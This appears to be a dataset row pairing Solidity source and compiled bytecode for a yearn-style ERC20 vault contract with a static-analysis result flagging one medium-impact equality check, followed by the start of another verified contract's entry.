IERC20 public token;
uint public min = 9990;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20Detailed(
string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()
) {
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function depositETH() public payable {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
uint _amount = msg.value;
WETH(address(token)).deposit.value(_amount)();
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdrawAllETH() external {
withdrawETH(balanceOf(msg.sender));
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint amount) external {
require(msg.sender == controller, "!controller");
require(reserve != address(token), "token");
IERC20(reserve).safeTransfer(controller, amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
// No rebalance implementation for lower fees and faster swaps
function withdrawETH(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
WETH(address(token)).withdraw(r);
address(msg.sender).transfer(r);
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
function () external payable {
if (msg.sender != address(token)) {
depositETH();
}
}
} | 0x6080604052600436106101d85760003560e01c806390386bbf11610102578063d389800f11610095578063f6326fb311610064578063f6326fb314610a45578063f77c479114610a4f578063f889794514610aa6578063fc0c546a14610ad1576101d8565b8063d389800f14610957578063dd62ed3e1461096e578063de5f6268146109f3578063f14210a614610a0a576101d8565b8063a9059cbb116100d1578063a9059cbb1461082d578063ab033ea9146108a0578063b69ef8a8146108f1578063b6b55f251461091c576101d8565b806390386bbf146106c257806392eefe9b146106d957806395d89b411461072a578063a457c2d7146107ba576101d8565b8063395093511161017a5780636ac5db19116101495780636ac5db19146105f057806370a082311461061b57806377c7b8fc14610680578063853828b6146106ab576101d8565b806339509351146104c057806345dc3dd81461053357806348a0d7541461056e5780635aa6e67514610599576101d8565b806318160ddd116101b657806318160ddd1461039657806323b872dd146103c15780632e1a7d4d14610454578063313ce5671461048f576101d8565b8063018ee9b71461023857806306fdde0314610293578063095ea7b314610323575b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461023657610235610b28565b5b005b34801561024457600080fd5b506102916004803603604081101561025b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dea565b005b34801561029f57600080fd5b506102a8610fc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e85780820151818401526020810190506102cd565b50505050905090810190601f1680156103155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032f57600080fd5b5061037c6004803603604081101561034657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611064565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103ab611082565b6040518082815260200191505060405180910390f35b3480156103cd57600080fd5b5061043a600480360360608110156103e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061108c565b604051808215151515815260200191505060405180910390f35b34801561046057600080fd5b5061048d6004803603602081101561047757600080fd5b8101908080359060200190929190505050611165565b005b34801561049b57600080fd5b506104a46114ef565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104cc57600080fd5b50610519600480360360408110156104e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611506565b604051808215151515815260200191505060405180910390f35b34801561053f57600080fd5b5061056c6004803603602081101561055657600080fd5b81019080803590602001909291905050506115b9565b005b34801561057a57600080fd5b50610583611686565b6040518082815260200191505060405180910390f35b3480156105a557600080fd5b506105ae61178f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fc57600080fd5b506106056117b5565b6040518082815260200191505060405180910390f35b34801561062757600080fd5b5061066a6004803603602081101561063e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117bb565b6040518082815260200191505060405180910390f35b34801561068c57600080fd5b50610695611803565b6040518082815260200191505060405180910390f35b3480156106b757600080fd5b506106c0611845565b005b3480156106ce57600080fd5b506106d7611858565b005b3480156106e557600080fd5b50610728600480360360208110156106fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061186b565b005b34801561073657600080fd5b5061073f611972565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077f578082015181840152602081019050610764565b50505050905090810190601f1680156107ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c657600080fd5b50610813600480360360408110156107dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a14565b604051808215151515815260200191505060405180910390f35b34801561083957600080fd5b506108866004803603604081101561085057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ae1565b604051808215151515815260200191505060405180910390f35b3480156108ac57600080fd5b506108ef600480360360208110156108c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aff565b005b3480156108fd57600080fd5b50610906611c06565b6040518082815260200191505060405180910390f35b34801561092857600080fd5b506109556004803603602081101561093f57600080fd5b8101908080359060200190929190505050611df4565b005b34801561096357600080fd5b5061096c61207d565b005b34801561097a57600080fd5b506109dd6004803603604081101561099157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121de565b6040518082815260200191505060405180910390f35b3480156109ff57600080fd5b50610a08612265565b005b348015610a1657600080fd5b50610a4360048036036020811015610a2d57600080fd5b8101908080359060200190929190505050612349565b005b610a4d610b28565b005b348015610a5b57600080fd5b50610a6461275a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ab257600080fd5b50610abb612780565b6040518082815260200191505060405180910390f35b348015610add57600080fd5b50610ae6612786565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000610b32611c06565b90506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610bd557600080fd5b505afa158015610be9573d6000803e3d6000fd5b505050506040513d6020811015610bff57600080fd5b810190808051906020019092919050505090506000349050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b50505050506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d3b57600080fd5b505afa158015610d4f573d6000803e3d6000fd5b505050506040513d6020811015610d6557600080fd5b81019080805190602001909291905050509050610d8b83826127ac90919063ffffffff16565b915060008090506000610d9c611082565b1415610daa57829050610dd9565b610dd685610dc8610db9611082565b866127f690919063ffffffff16565b61287c90919063ffffffff16565b90505b610de333826128c6565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ead576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21636f6e74726f6c6c657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f746f6b656e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610fbe600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff16612a819092919063ffffffff16565b5050565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561105a5780601f1061102f5761010080835404028352916020019161105a565b820191906000526020600020905b81548152906001019060200180831161103d57829003601f168201915b5050505050905090565b6000611078611071612b52565b8484612b5a565b6001905092915050565b6000600254905090565b6000611099848484612d51565b61115a846110a5612b52565b6111558560405180606001604052806028815260200161381860289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061110b612b52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130079092919063ffffffff16565b612b5a565b600190509392505050565b600061119a611172611082565b61118c8461117e611c06565b6127f690919063ffffffff16565b61287c90919063ffffffff16565b90506111a633836130c7565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561124757600080fd5b505afa15801561125b573d6000803e3d6000fd5b505050506040513d602081101561127157600080fd5b810190808051906020019092919050505090508181101561149d5760006112a182846127ac90919063ffffffff16565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a3600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561136e57600080fd5b505af1158015611382573d6000803e3d6000fd5b505050506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561142757600080fd5b505afa15801561143b573d6000803e3d6000fd5b505050506040513d602081101561145157600080fd5b81019080805190602001909291905050509050600061147984836127ac90919063ffffffff16565b90508281101561149957611496818561327f90919063ffffffff16565b94505b5050505b6114ea3383600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a819092919063ffffffff16565b505050565b6000600560009054906101000a900460ff16905090565b60006115af611513612b52565b846115aa8560016000611524612b52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327f90919063ffffffff16565b612b5a565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060068190555050565b600061178a61271061177c600654600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561173357600080fd5b505afa158015611747573d6000803e3d6000fd5b505050506040513d602081101561175d57600080fd5b81019080805190602001909291905050506127f690919063ffffffff16565b61287c90919063ffffffff16565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61271081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000611840611810611082565b611832670de0b6b3a7640000611824611c06565b6127f690919063ffffffff16565b61287c90919063ffffffff16565b905090565b611856611851336117bb565b611165565b565b611869611864336117bb565b612349565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a0a5780601f106119df57610100808354040283529160200191611a0a565b820191906000526020600020905b8154815290600101906020018083116119ed57829003601f168201915b5050505050905090565b6000611ad7611a21612b52565b84611ad2856040518060600160405280602581526020016138d46025913960016000611a4b612b52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130079092919063ffffffff16565b612b5a565b6001905092915050565b6000611af5611aee612b52565b8484612d51565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611def600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611ccc57600080fd5b505afa158015611ce0573d6000803e3d6000fd5b505050506040513d6020811015611cf657600080fd5b8101908080519060200190929190505050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611da657600080fd5b505afa158015611dba573d6000803e3d6000fd5b505050506040513d6020811015611dd057600080fd5b810190808051906020019092919050505061327f90919063ffffffff16565b905090565b6000611dfe611c06565b90506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611ea157600080fd5b505afa158015611eb5573d6000803e3d6000fd5b505050506040513d6020811015611ecb57600080fd5b81019080805190602001909291905050509050611f2d333085600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613307909392919063ffffffff16565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611fce57600080fd5b505afa158015611fe2573d6000803e3d6000fd5b505050506040513d6020811015611ff857600080fd5b8101908080519060200190929190505050905061201e82826127ac90919063ffffffff16565b93506000809050600061202f611082565b141561203d5784905061206c565b6120698461205b61204c611082565b886127f690919063ffffffff16565b61287c90919063ffffffff16565b90505b61207633826128c6565b5050505050565b6000612087611686565b90506120f8600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a819092919063ffffffff16565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b02bf4b9600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156121c357600080fd5b505af11580156121d7573d6000803e3d6000fd5b5050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612347600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561230757600080fd5b505afa15801561231b573d6000803e3d6000fd5b505050506040513d602081101561233157600080fd5b8101908080519060200190929190505050611df4565b565b600061237e612356611082565b61237084612362611c06565b6127f690919063ffffffff16565b61287c90919063ffffffff16565b905061238a33836130c7565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561242b57600080fd5b505afa15801561243f573d6000803e3d6000fd5b505050506040513d602081101561245557600080fd5b810190808051906020019092919050505090508181101561268157600061248582846127ac90919063ffffffff16565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a3600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561255257600080fd5b505af1158015612566573d6000803e3d6000fd5b505050506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561260b57600080fd5b505afa15801561261f573d6000803e3d6000fd5b505050506040513d602081101561263557600080fd5b81019080805190602001909291905050509050600061265d84836127ac90919063ffffffff16565b90508281101561267d5761267a818561327f90919063ffffffff16565b94505b5050505b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156126f657600080fd5b505af115801561270a573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612754573d6000803e3d6000fd5b50505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006127ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613007565b905092915050565b6000808314156128095760009050612876565b600082840290508284828161281a57fe5b0414612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137f76021913960400191505060405180910390fd5b809150505b92915050565b60006128be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061340d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61297e8160025461327f90919063ffffffff16565b6002819055506129d5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b612b4d838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506134d3565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612be0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806138866024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806137af6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806138616025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e5d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061376a6023913960400191505060405180910390fd5b612ec8816040518060600160405280602681526020016137d1602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130079092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906130b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561307957808201518184015260208101905061305e565b50505050905090810190601f1680156130a65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561314d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806138406021913960400191505060405180910390fd5b6131b88160405180606001604052806022815260200161378d602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130079092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320f816002546127ac90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808284019050838110156132fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b613407848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506134d3565b50505050565b600080831182906134b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561347e578082015181840152602081019050613463565b50505050905090810190601f1680156134ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816134c557fe5b049050809150509392505050565b6134f28273ffffffffffffffffffffffffffffffffffffffff1661371e565b613564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106135b35780518252602082019150602081019050602083039250613590565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613615576040519150601f19603f3d011682016040523d82523d6000602084013e61361a565b606091505b509150915081613692576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613718578080602001905160208110156136b157600080fd5b8101908080519060200190929190505050613717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806138aa602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156137605750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820ac5c391050e70ca68eb9c2234586b7d0985951ae9bdb4a8f9f395a32d077ecf964736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,188 |
0x34bf4996cc2e4d206910946c7d07f7a3c4ad31a8 | /**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/*
_______. __ __ __ .______ _______. ______ __ _______ __ _______ .______
/ || | | | | | | _ \ / | / __ \ | | | \ | | | ____|| _ \
| (----`| |__| | | | | |_) | | (----`| | | | | | | .--. || | | |__ | |_) |
